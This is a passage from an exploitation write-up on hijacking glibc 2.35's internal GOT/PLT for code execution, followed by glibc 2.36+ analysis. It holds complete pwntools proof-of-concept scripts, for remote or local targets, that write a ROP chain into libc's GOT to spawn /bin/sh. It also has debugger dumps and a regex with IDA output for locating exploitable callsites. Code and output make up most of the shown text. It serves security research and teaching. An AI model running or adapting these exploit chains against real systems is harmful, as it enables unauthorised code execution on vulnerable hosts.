    context.log_level = "debug"
    context.terminal  = ['tmux', 'splitw', '-h']    # ['<terminal_emulator>', '-e', ...]

    e    = ELF(FILE_PATH, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None

    print("Usage: python3 xpl.py [<ip> <port>]\n"
                "  - If no arguments are provided, runs in local mode (default).\n"
                "  - Provide <ip> and <port> to target a remote host.\n")

    if len(sys.argv) == 3:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])
       
    elif len(sys.argv) == 1:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
            env = {
                "LD_PRELOAD": os.path.abspath(LIBC_PATH),
                "LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
            }
        p   = process(FILE_PATH, env=env)
        mode["local"] = True
    else:
        print("[-] Error: Invalid arguments provided.")
        sys.exit(1)

    exp()

Run

Pwned with a 0x1f0-byte payload:

That's 0x10 bytes smaller than the previous solution—thanks to trimming two instruction pointers from the new payload.

Can we shrink it even further? Do read on.

PoC 5

In PoC 5 we still use the same glibc 2.35 environment.

Memcpy

It turns out we don't need to populate every GOT entry. Only one hijacked entry is sufficient to seize control flow.

From the glibc 2.35 _GLOBAL_OFFSET_TABLE_ dump:

pwndbg> tel &_GLOBAL_OFFSET_TABLE_
00:00000x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:00080x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:00100x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
03:00180x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
[...]
08:00400x7ffff7fa7040 (*ABS*@got.plt) —▸ 0x7ffff7f2e980 (__mempcpy_avx_unaligned_erms) ◂— endbr64
[...]
17:00b8│  0x7ffff7fa70b8 (*ABS*@got.plt) —▸ 0x7ffff7f2b600 (__strchrnul_avx2) ◂— endbr64
[...]
38:01c0│  0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
39:01c8│  0x7ffff7fa71c8 ◂— 0x0

In the context of a printf-based exploit, the mempcpy@plt entry (eventually calling __mempcpy_avx_unaligned_erms) serves as the earliest reliable sink point to hijack.

There are other avx instructions called inside printf, for example, __memmove_avx_unaligned_erms called right next to __mempcpy_avx_unaligned_erms:

  0x7ffff7db63e4 <*ABS*+0xa97d0@plt+4>                 bnd jmp qword ptr [rip + 0x1f0c55]   <__mempcpy_avx_unaligned_erms>

  0x7ffff7f2e980 <__mempcpy_avx_unaligned_erms>        endbr64
  0x7ffff7f2e984 <__mempcpy_avx_unaligned_erms+4>      mov    rax, rdi
  0x7ffff7f2e987 <__mempcpy_avx_unaligned_erms+7>      add    rax, rdx
  0x7ffff7f2e98a <__mempcpy_avx_unaligned_erms+10>     jmp    __memmove_avx_unaligned_erms+7                <__memmove_avx_unaligned_erms+7>

0x7ffff7f2e9c7 <__memmove_avx_unaligned_erms+7>      cmp    rdx, 0x20
  0x7ffff7f2e9cb <__memmove_avx_unaligned_erms+11>     jb     __memmove_avx_unaligned_erms+48                <__memmove_avx_unaligned_erms+48>

  0x7ffff7f2e9f0 <__memmove_avx_unaligned_erms+48>     cmp    edx, 0x10
  0x7ffff7f2e9f3 <__memmove_avx_unaligned_erms+51>     jae    __memmove_avx_unaligned_erms+98                <__memmove_avx_unaligned_erms+98>

Backtrace:

0   0x7ffff7f2e9f3 __memmove_avx_unaligned_erms+7
  1   0x7ffff7e19665 _IO_file_xsputn+101
  2   0x7ffff7e19665 _IO_file_xsputn+101
  3   0x7ffff7e0314d __vfprintf_internal+285
  4   0x7ffff7dee79f __printf+...

Thus, we can safely reuse the remaining GOT space below mempcpy@plt to host our ROP chain. No need to preserve or repopulate the rest—this cuts down payload size significantly.

Inspection

The printf implementation internally invokes _IO_file_xsputn, which subsequently calls mempcpy to flush data into the FILE stream buffer.

We can set a breakpoint at __mempcpy_avx_unaligned_erms during a printf call to inspect runtime memory:

This clearly shows why hijacking the mempcpy GOT entry leads to code execution within a printf() context—it serves as a clean and stealthy sink, parsed by memcpy@plt (namely *ABS*+0Xa97d0@plt in the screenshot).

Thus, to trigger PLT0 resolution, we only need to "clean" the GOT entry at offset 0x40:

08:00400x7ffff7fa7040 (*ABS*@got.plt) —▸ 0x7ffff7f2e980 (__mempcpy_avx_unaligned_erms) ◂— endbr64

Alternatively, hijack __memmove_avx_unaligned_erms at offset 0x68:

0d:00680x7ffff7fa7068 (*ABS*@got.plt) —▸ 0x7ffff7f2e9c0 (__memmove_avx_unaligned_erms) ◂— endbr64

And so on.

PoC Script

Download: link

Python
# Title       : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author      : Axura
# Target      : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website     : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags        : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP, system, memcpy@plt


import sys
import inspect
from pwn import *


s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b"\0"))


def g(gdbscript: str = ""):
    if mode["local"]:
        gdb.attach(p, gdbscript=gdbscript)
        
    elif mode["remote"]:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == "":
            raw_input()


def pa(addr: int) -> None:
    frame = inspect.currentframe().f_back
    variables = {k: v for k, v in frame.f_locals.items() if v is addr}
    desc = next(iter(variables.keys()), "unknown")
    success(f"[LEAK] {desc} ---> {addr:#x}")


class ROPGadgets:
    def __init__(self, libc: ELF): 
        self.rop = ROP(libc)
        self.addr = lambda x: self.rop.find_gadget(x)[0] if self.rop.find_gadget(x) else None

        self.ggs = {
            'p_rdi_r'       : self.addr(['pop rdi', 'ret']),
            'p_rsi_r'       : self.addr(['pop rsi', 'ret']),
            'p_rdx_rbx_r'   : self.addr(['pop rdx', 'pop rbx', 'ret']),
            'p_rax_r'       : self.addr(['pop rax', 'ret']),
            'p_rsp_r'       : self.addr(['pop rsp', 'ret']),
            'leave_r'       : self.addr(['leave', 'ret']),
            'ret'           : self.addr(['ret']),
            'syscall_r'     : self.addr(['syscall', 'ret']),
        }

    def __getitem__(self, k: str) -> int:
        return self.ggs.get(k)


def rop(libc: ELF, rop_chain, pivot) -> (int, bytes):
    """GOT+16 stack pivot to GOT+8 (pushed)"""
    global GOT_ET_COUNT
    global MEMCPY_GOT_OFFSET

    got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    memcpy_got = got0 + MEMCPY_GOT_OFFSET
    pa(got0)
    pa(plt0)
    pa(memcpy_got)

    write_dest = got0 + 8
    rop_offset = 0x40
    rop_dest = write_dest + rop_offset

    write_data = flat({
        0x0: rop_dest,
        0x8: pivot,
        MEMCPY_GOT_OFFSET-8: plt0,
        rop_offset: rop_chain,
        })

    return write_dest, write_data


def exp():
    """
    11ee:       e8 5d fe ff ff          call   1050 <printf@plt>
    """
    g("breakrva 0x11ee")

    leak = int(ru(b"\n"), 16)
    libc_base = leak - libc.sym.printf
    pa(libc_base)
    libc.address = libc_base

    ggs = ROPGadgets(libc)
    p_rdi_r = ggs["p_rdi_r"]
    p_rax_r = ggs["p_rax_r"]
    # 0x000000000002d543: pop rsp; pop r13; pop r14; pop r15; jmp rax;
    p_rsp_jmp_rax = libc.address + 0x2d543

    safe_rsp = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") \
            + 0x3000
    pa(safe_rsp)

    rop_chain = flat(
            p_rdi_r,
            libc.search(b"/bin/sh\x00").__next__(),
            p_rax_r,
            libc.sym.system,
            p_rsp_jmp_rax,
            safe_rsp,
            )

    pivot = ggs["p_rsp_r"]

    write_dest, write_data = rop(
            libc,
            rop_chain,
            pivot
            )

    s(p64(write_dest))
    s(p64(len(write_data)))
    s(write_data)

    success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))

    # pause()
    p.interactive()

    
if __name__ == '__main__':
    """pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
    00:0000│  0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
    01:0008│  0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
    02:0010│  0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
    03:0018│  0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    04:0020│  0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
    [...]
    37:01b8│  0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
    38:01c0│  0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    39:01c8│  0x7ffff7fa71c8 ◂— 0x0
    3a:01d0│  0x7ffff7fa71d0 ◂— 0x0"""
    GOT_ET_COUNT = 0x36

    """08:0040│  0x7ffff7fa7040 (*ABS*@got.plt) —▸ 0x7ffff7f2e980 (__mempcpy_avx_unaligned_erms) ◂— endbr64"""
    MEMCPY_GOT_OFFSET = 0x40

    FILE_PATH = "./vuln"
    LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"

    context(arch="amd64", os="linux", endian="little")
    context.log_level = "debug"
    context.terminal  = ['tmux', 'splitw', '-h']    # ['<terminal_emulator>', '-e', ...]

    e    = ELF(FILE_PATH, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None

    print("Usage: python3 xpl.py [<ip> <port>]\n"
                "  - If no arguments are provided, runs in local mode (default).\n"
                "  - Provide <ip> and <port> to target a remote host.\n")

    if len(sys.argv) == 3:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])

    elif len(sys.argv) == 1:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
            env = {
                "LD_PRELOAD": os.path.abspath(LIBC_PATH),
                "LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
            }
        p   = process(FILE_PATH, env=env)
        mode["local"] = True
    else:
        print("[-] Error: Invalid arguments provided.")
        sys.exit(1)

    exp()

Run

We can inspect the final payload layout:

Pwned:

This time, the exploit consumes just 0x70 bytes.

But this isn't the end of the story—do read on.

PoC 6

In PoC 6 we still use the same glibc 2.35 environment.

Jump Gadget

In PoC 5, we positioned the ROP chain starting at offset 0x40 from GOT+8, which is where our write begins.

This offset is chosen deliberately because we cannot overlap it with the __mempcpy_avx_unaligned_erms entry, which resides at offset 0x38 from GOT+8 (i.e., 0x40 from the GOT base).

Our ROP payload consists of two segments:

  • The actual ROP for system("/bin/sh"), which takes up 0x20 bytes.
  • A secondary stack pivot gadget, which takes 0x10 bytes.

Thus, the total payload size is 0x30 bytes.

If we begin writing at GOT+0x18 (right after the resolver pointer at GOT+0x10), the input would span up to GOT+0x48—which overwrites the mempcpy GOT entry at GOT+0x40. That'vs unacceptable.

However, we can split the ROP chain to carefully bypass the __mempcpy_avx_unaligned_erms entry—threading our payload around it with precision.

For this purpose, we can leverage a simple trick with the jumping gadget:

  • Begin writing the 0x20-byte ROP chain at GOT+0x18, until GOT+0x38
  • Then place a jump gadget at GOT+0x38, for example pop rxx; ret (except popping the rdi register we need for exploit)
  • This means the pivot instruction straddles the 8 bytes before memcpy GOT, but does not overwrite it
  • This way, we safely bypass the critical GOT entry by carefully aligning the gadget

A diagram to help understand:

         _GLOBAL_OFFSET_TABLE_ 
         +--------------------+
GOT+0x08 | ROP chain addr     |  <- pushed ROP write start, point to GOT+0X18
GOT+0x10 | pop rsp; ret       |  <- Faked dynamic resolver
GOT+0x18 | pop rdi; ret       |  <- 0x20 bytes
GOT+0x20 | "/bin/sh"          |
GOT+0x28 | pop rax; ret       |
GOT+0x30 | system             |
GOT+0x38 | pop rxx; ret       |  <- 0x8 bytes
GOT+0x38 | __mempcpy_avx GOT  |  <- Overwrite to PLT0 entry
GOT+0x40 | pop rsp...jmp rax  |
GOT+0x48 | safe stack addr    |
         +--------------------+

PoC Script

Download: link

Python
# Title       : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author      : Axura
# Target      : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website     : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags        : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP, system, memcpy@plt, jump pivot


import sys
import inspect
from pwn import *


s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b"\0"))


def g(gdbscript: str = ""):
    if mode["local"]:
        gdb.attach(p, gdbscript=gdbscript)
        
    elif mode["remote"]:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == "":
            raw_input()


def pa(addr: int) -> None:
    frame = inspect.currentframe().f_back
    variables = {k: v for k, v in frame.f_locals.items() if v is addr}
    desc = next(iter(variables.keys()), "unknown")
    success(f"[LEAK] {desc} ---> {addr:#x}")


class ROPGadgets:
    def __init__(self, libc: ELF): 
        self.rop = ROP(libc)
        self.addr = lambda x: self.rop.find_gadget(x)[0] if self.rop.find_gadget(x) else None

        self.ggs = {
            'p_rdi_r'       : self.addr(['pop rdi', 'ret']),
            'p_rsi_r'       : self.addr(['pop rsi', 'ret']),
            'p_rdx_rbx_r'   : self.addr(['pop rdx', 'pop rbx', 'ret']),
            'p_r15_r'       : self.addr(['pop r15', 'ret']),
            'p_rax_r'       : self.addr(['pop rax', 'ret']),
            'p_rsp_r'       : self.addr(['pop rsp', 'ret']),
            'leave_r'       : self.addr(['leave', 'ret']),
            'ret'           : self.addr(['ret']),
            'syscall_r'     : self.addr(['syscall', 'ret']),
        }

    def __getitem__(self, k: str) -> int:
        return self.ggs.get(k)


def rop(libc: ELF, system_chain, stack_pivot_chain, 
        jump, pivot) -> (int, bytes):
    """GOT+16 stack pivot to GOT+8 (pushed)"""
    global GOT_ET_COUNT
    global MEMCPY_GOT_OFFSET

    got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    memcpy_got = got0 + MEMCPY_GOT_OFFSET
    pa(got0)
    pa(plt0)
    pa(memcpy_got)

    write_dest = got0 + 8
    rop_offset = 0x10
    rop_dest = write_dest + rop_offset

    write_data = flat({
        0x0: rop_dest,
        0x8: pivot,
        rop_offset: system_chain,
        MEMCPY_GOT_OFFSET-0X10: jump,
        MEMCPY_GOT_OFFSET-0X8: plt0,
        MEMCPY_GOT_OFFSET: stack_pivot_chain,
        })

    return write_dest, write_data


def exp():
    """
    11ee:       e8 5d fe ff ff          call   1050 <printf@plt>
    """
    # g("breakrva 0x11ee")

    leak = int(ru(b"\n"), 16)
    libc_base = leak - libc.sym.printf
    pa(libc_base)
    libc.address = libc_base

    ggs = ROPGadgets(libc)
    p_rdi_r = ggs["p_rdi_r"]
    p_rax_r = ggs["p_rax_r"]
    # 0x000000000002d543: pop rsp; pop r13; pop r14; pop r15; jmp rax;
    p_rsp_jmp_rax = libc.address + 0x2d543

    safe_rsp = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") \
            + 0x3000 
    pa(safe_rsp)

    system_chain = flat(
            p_rdi_r,
            libc.search(b"/bin/sh\x00").__next__(),
            p_rax_r,
            libc.sym.system,
            )

    stack_pivot_chain = flat(
            p_rsp_jmp_rax,
            safe_rsp,
            )

    pivot = ggs["p_rsp_r"]
    jump = ggs["p_r15_r"]

    write_dest, write_data = rop(
            libc,
            system_chain,
            stack_pivot_chain,
            jump=jump,
            pivot=pivot,
            )

    s(p64(write_dest))
    s(p64(len(write_data)))
    s(write_data)

    success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))

    # pause()
    p.interactive()


if __name__ == '__main__':
    """pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
    00:0000│  0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
    01:0008│  0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
    02:0010│  0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
    03:0018│  0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    04:0020│  0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
    [...]
    37:01b8│  0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
    38:01c0│  0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    39:01c8│  0x7ffff7fa71c8 ◂— 0x0
    3a:01d0│  0x7ffff7fa71d0 ◂— 0x0"""
    GOT_ET_COUNT = 0x36

    """08:0040│  0x7ffff7fa7040 (*ABS*@got.plt) —▸ 0x7ffff7f2e980 (__mempcpy_avx_unaligned_erms) ◂— endbr64"""
    MEMCPY_GOT_OFFSET = 0x40

    FILE_PATH = "./vuln"
    LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"

    context(arch="amd64", os="linux", endian="little")
    context.log_level = "debug"
    context.terminal  = ['tmux', 'splitw', '-h']    # ['<terminal_emulator>', '-e', ...]

    e    = ELF(FILE_PATH, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None

    print("Usage: python3 xpl.py [<ip> <port>]\n"
                "  - If no arguments are provided, runs in local mode (default).\n"
                "  - Provide <ip> and <port> to target a remote host.\n")

    if len(sys.argv) == 3:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])
        
    elif len(sys.argv) == 1:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
            env = {
                "LD_PRELOAD": os.path.abspath(LIBC_PATH),
                "LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
            }
        p   = process(FILE_PATH, env=env)
        mode["local"] = True
    else:
        print("[-] Error: Invalid arguments provided.")
        sys.exit(1)

    exp()

Run

The previous diagram already laid out the payload deployment with precision. So this becomes a clean, straightforward pwn with just 0x50 bytes of input:

We've shaved off another 0x20 bytes—but we can, in some cases, to make it even shorter!

One Gadget

How do we save even more space?

One gadget, of course.

But that depends entirely on the specific glibc version in play—we just need to satisfy its constraints.

If it demands additional gadgets to meet preconditions, that could negate the benefit of using it in the first place.

Pass.

PoC 8

In PoC 8, we're testing on glibc 2.36+, specifically, glibc 2.37-0ubuntu2.2 (Ubuntu 23.04):

$ /usr/lib/x86_64-linux-gnu/libc.so.6

GNU C Library (Ubuntu GLIBC 2.37-0ubuntu2.2) stable release version 2.37.
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Small Patch

Starting from glibc 2.36, a crucial patch was introduced—GOT0 becomes non-writable:

However, the GOT entries (after GOT0) still reside in a writable memory page (notice the starting of GOT entry is made to page aligned!), aligned at page boundaries, which leaves room for exploitation in glibc 2.36–2.37 (before stricter patches land in 2.38+).

Direct GOT calls

When GOT0 is read-only, but memory area covering GOT entries are still writable, we look for ROP-capable code paths in glibc itself that directly use GOT calls, where registers (especially rdi as the first required argument) are already loaded with values pointing to our controlled stack.

In IDA, these libc PLT stubs appear as call j_.*—representing indirect calls to .*@plt. As expected, this yields a large number of results:

To extract useful sinks, we can generate a .LST file from IDA and scan it using the following regex, tailored to spot ROP-suitable call sequences:

.*lea\s+rdi,\s+\[rsp\+.*\n(?:.*\n){0,9}.*call\s+j_.*

This captures patterns where a lea rdi, [rsp+...] occurs shortly before a call to j_.*, suggesting a potentially usable callsite with controlled arguments.

Matches found:

.text:0000000000025BF7 lea     rdi, [rsp+1060h+var_1051]
.text:0000000000025BFC mov     rsi, r13
.text:0000000000025BFF and     rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000025C03 mov     [rbp+var_40], rdi
.text:0000000000025C07 call    j_mempcpy

.text:00000000000262E9 lea     rdi, [rsp+1090h+var_1081]
.text:00000000000262EE mov     rsi, r15
.text:00000000000262F1 mov     [rbp+var_78], r11
.text:00000000000262F5 and     rdi, 0FFFFFFFFFFFFFFF0h
.text:00000000000262F9 mov     [rbp+var_70], rcx
.text:00000000000262FD mov     byte ptr [rdi+rdx], 0
.text:0000000000026301 call    j_memcpy_0

.text:000000000002FB52 lea     rdi, [rsp+58h+var_48]
.text:000000000002FB57 call    sub_2F990
.text:000000000002FB5C movzx   eax, [rsp+58h+var_40]
.text:000000000002FB61 mov     rdi, rbx
.text:000000000002FB64 mov     [rbp+10h], ax
.text:000000000002FB68 call    j_strlen
.text:000000000002FB6D lea     rdi, [rax+3]
.text:000000000002FB71 call    j_malloc

.text:0000000000030B7E lea     rdi, [rsp+1090h+var_1081]
.text:0000000000030B83 mov     rdx, rsi
.text:0000000000030B86 mov     rsi, r15
.text:0000000000030B89 and     rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000030B8D call    j_memcpy_0

.text:0000000000032907 lea     rdi, [rsp+1270h+var_1261]
.text:000000000003290C mov     rdx, rsi
.text:000000000003290F mov     rsi, rbx
.text:0000000000032912 mov     [rbp+var_268], r8
.text:0000000000032919 and     rdi, 0FFFFFFFFFFFFFFF0h
.text:000000000003291D xor     r13d, r13d
.text:0000000000032920 call    j_memcpy_0

.text:0000000000034DB4 lea     rdi, [rsp+10C0h+var_10B1]
.text:0000000000034DB9 mov     rdx, rcx
.text:0000000000034DBC mov     rsi, r13
.text:0000000000034DBF mov     [rbp+var_88], r10
.text:0000000000034DC6 and     rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000034DCA lea     r13, [rbp+var_50]
.text:0000000000034DCE mov     [rbp+var_78], rdi
.text:0000000000034DD2 call    j_mempcpy

.text:0000000000040C66 lea     rdi, [rsp+1040h+var_1031]
.text:0000000000040C6B mov     rsi, r12
.text:0000000000040C6E and     rdi, 0FFFFFFFFFFFFFFF0h
.text:0000000000040C72 mov     byte ptr [rdi+rdx], 0
.text:0000000000040C76 call    j_memcpy_0

.text:0000000000042DBF lea     rdi, [rsp+138h+var_44]
.text:0000000000042DC7 mov     byte ptr [rsp+138h+var_E0], r11b
.text:0000000000042DCC mov     rsi, [rax+38h]
.text:0000000000042DD0 mov     byte ptr [rsp+138h+var_E8], cl
.text:0000000000042DD4 mov     [rsp+138h+var_EC], r9d
.text:0000000000042DD9 mov     dword ptr [rsp+138h+var_108], r8d
.text:0000000000042DDE mov     [rsp+138h+var_F8], rsi
.text:0000000000042DE3 call    j_strncpy

.text:00000000000594B8 lea     rdi, [rsp+0D8h+var_58]
.text:00000000000594C0 cmp     rdi, rax
.text:00000000000594C3 jnb     loc_5A02A
.text:00000000000594C9 sub     rax, rdi
.text:00000000000594CC mov     esi, 30h ; '0'
.text:00000000000594D1 mov     rdx, rax
.text:00000000000594D4 call    j_memset

.text:000000000007F7DE lea     rdi, [rsp+98h+var_58]
.text:000000000007F7E3 mov     rdx, r13
.text:000000000007F7E6 mov     rbp, r13
.text:000000000007F7E9 call    j_memcpy_0

.text:00000000000999FD lea     rdi, [rsp+98h+var_80]
.text:0000000000099A02 mov     rcx, r15
.text:0000000000099A05 lea     rdx, sub_99710
.text:0000000000099A0C mov     [r15], rax
.text:0000000000099A0F mov     rax, [r14]
.text:0000000000099A12 mov     [r15+8], rax
.text:0000000000099A16 call    pthread_create
.text:0000000000099A1B test    eax, eax
.text:0000000000099A1D jns     short loc_999C3
.text:0000000000099A1F mov     rdi, r15
.text:0000000000099A22 call    j_free

.text:00000000000A3308 lea     rdi, [rsp+0B8h+var_50]
.text:00000000000A330D mov     [rsp+0B8h+var_B0], r8
.text:00000000000A3312 call    argz_add
.text:00000000000A3317 mov     r8, [rsp+0B8h+var_B0]
.text:00000000000A331C mov     r15d, eax
.text:00000000000A331F jmp     short loc_A32EA
.text:00000000000A3321 align 8
.text:00000000000A3328
.text:00000000000A3328 loc_A3328:
.text:00000000000A3328 mov     rdi, rbp
.text:00000000000A332B call    j_strlen

.text:00000000000C512F lea     rdi, [rsp+188h+var_F0]
.text:00000000000C5137 mov     [rsp+188h+var_178], r11
.text:00000000000C513C lea     rdx, ds:0[r14*8]
.text:00000000000C5144 call    j_memcpy_0

.text:00000000000CCC3D lea     rdi, [rsp+36C8h+var_3638]
.text:00000000000CCC45 call    j_memcpy_0

.text:00000000000E406E lea     rdi, [rsp+15E0h+var_15D8+7]
.text:00000000000E4073 mov     rdx, rsi
.text:00000000000E4076 mov     rsi, r12
.text:00000000000E4079 and     rdi, 0FFFFFFFFFFFFFFF0h
.text:00000000000E407D call    j_memcpy_0

.text:00000000000F2AB7 lea     rdi, [rsp+0A8h+var_5C]
.text:00000000000F2ABC mov     rsi, rbx
.text:00000000000F2ABF mov     [rsp+0A8h+var_A0], r9
.text:00000000000F2AC4 mov     [rsp+0A8h+var_A8], r10
.text:00000000000F2AC8 call    sub_F2560
.text:00000000000F2ACD mov     r10, [rsp+0A8h+var_A8]
.text:00000000000F2AD1 mov     rdi, [rsp+0A8h+var_A0]
.text:00000000000F2AD6 mov     [r10], rax
.text:00000000000F2AD9 call    j_free

.text:00000000000F2C73 lea     rdi, [rsp+0A8h+var_58]
.text:00000000000F2C78 mov     esi, ecx
.text:00000000000F2C7A call    sub_EC5D0
.text:00000000000F2C7F mov     rdi, qword ptr [rsp+0A8h+var_58+8]
.text:00000000000F2C84 call    j_free

.text:00000000000F4BA0 lea     rdi, [rsp+0E8h+var_5C]
.text:00000000000F4BA8 call    sub_F2D00
.text:00000000000F4BAD mov     rsi, [rsp+0E8h+var_C8]
.text:00000000000F4BB2 mov     rdi, [rsp+0E8h+var_50]
.text:00000000000F4BBA mov     [rsi], rax
.text:00000000000F4BBD call    j_free

.text:00000000000F5D04 lea     rdi, [rsp+118h+var_7C]
.text:00000000000F5D0C mov     rdx, r15
.text:00000000000F5D0F mov     rsi, r12
.text:00000000000F5D12 call    sub_F2560
.text:00000000000F5D17 mov     rdi, [rsp+118h+var_70]
.text:00000000000F5D1F mov     [rbx+rbp*8], rax
.text:00000000000F5D23 call    j_free

.text:00000000000F75D5 lea     rdi, [rsp+2D8h+var_1E8]
.text:00000000000F75DD mov     rsi, rbx
.text:00000000000F75E0 mov     ecx, eax
.text:00000000000F75E2 call    sub_F2D00
.text:00000000000F75E7 mov     rdi, qword ptr [rsp+2D8h+var_1D8+8]
.text:00000000000F75EF mov     [r14], rax
.text:00000000000F75F2 call    j_free

.text:00000000000F81D2 lea     rdi, [rsp+2D8h+var_1EC]
.text:00000000000F81DA mov     rdx, r13
.text:00000000000F81DD call    sub_F2560
.text:00000000000F81E2 mov     rdi, qword ptr [rsp+2D8h+var_1E8+8]
.text:00000000000F81EA mov     [r14+r12], rax
.text:00000000000F81EE call    j_free

.text:0000000000105357 lea     rdi, [rsp+5C8h+var_564]
.text:000000000010535C lea     r8, [rsp+5C8h+var_558]
.text:0000000000105361 xor     ecx, ecx
.text:0000000000105363 lea     rsi, aBinSh     ; "/bin/sh"
.text:000000000010536A call    posix_spawn
.text:000000000010536F mov     rdi, [rsp+5C8h+var_4D8]
.text:0000000000105377 mov     rax, [rsp+5C8h+var_5B0]
.text:000000000010537C cmp     rdi, rax
.text:000000000010537F jz      short loc_105386
.text:0000000000105381 call    j_free

.text:00000000001060E0 lea     rdi, [rsp+1900h+var_18F1]
.text:00000000001060E5 mov     rsi, r8
